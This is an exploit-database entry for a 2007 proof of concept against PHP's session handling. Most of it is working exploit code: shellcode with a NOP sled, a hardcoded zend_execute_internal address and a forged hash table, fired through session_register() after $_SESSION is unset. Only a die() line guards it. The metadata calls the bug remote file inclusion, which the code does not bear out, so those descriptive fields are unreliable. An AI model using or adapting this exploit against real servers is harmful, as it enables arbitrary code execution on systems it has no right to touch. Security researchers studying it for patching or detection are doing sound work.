PHP _SESSION unset() Vulnerability

vendor:

PHP

by:

Stefan Esser

7.5

CVSS

HIGH

Remote File Inclusion

CWE

Product Name: PHP

Affected Version From:

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

2007

PHP _SESSION unset() Vulnerability

This code demonstrates a vulnerability in the PHP _SESSION unset() function that can be exploited for remote file inclusion. The code includes a shellcode that is executed when the vulnerability is triggered.

Mitigation:

Remove or fix the vulnerability in the PHP _SESSION unset() function. Update to a patched version of PHP.

Source

Exploit-DB raw data:

<?php
  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \ //
  // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //                 PHP _SESSION unset() Vulnerability                 //
  ////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die("REMOVE THIS LINE");

  $PHP_MAJOR_VERSION = PHP_VERSION;
  $PHP_MAJOR_VERSION = $PHP_MAJOR_VERSION[0];

  $shellcode = str_repeat("\x90", 256).
      "\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x46".
      "\x32\x3c\xe5\x83\xeb\xfc\xe2\xf4\x77\xe9\x6f\xa6\x15\x58\x3e\x8f".
      "\x20\x6a\xa5\x6c\xa7\xff\xbc\x73\x05\x60\x5a\x8d\x57\x6e\x5a\xb6".
      "\xcf\xd3\x56\x83\x1e\x62\x6d\xb3\xcf\xd3\xf1\x65\xf6\x54\xed\x06".
      "\x8b\xb2\x6e\xb7\x10\x71\xb5\x04\xf6\x54\xf1\x65\xd5\x58\x3e\xbc".
      "\xf6\x0d\xf1\x65\x0f\x4b\xc5\x55\x4d\x60\x54\xca\x69\x41\x54\x8d".
      "\x69\x50\x55\x8b\xcf\xd1\x6e\xb6\xcf\xd3\xf1\x65".
      ($PHP_MAJOR_VERSION==4?"\x18\xb0\x53":"\x18\xb0\x83");

  $zend_execute_internal = 0x08345b08;

  $Hashtable = pack("LLLLLLLLLCCC", 2, 1, 0, 0, 0, $zend_execute_internal, 0, $zend_execute_internal, 0x66666666, 0, 0, 0);

  eval('
  session_start();
  unset($HTTP_SESSION_VARS);
  unset($_SESSION);
  $x = "'.$Hashtable.'";
  session_register($shellcode);');
?>

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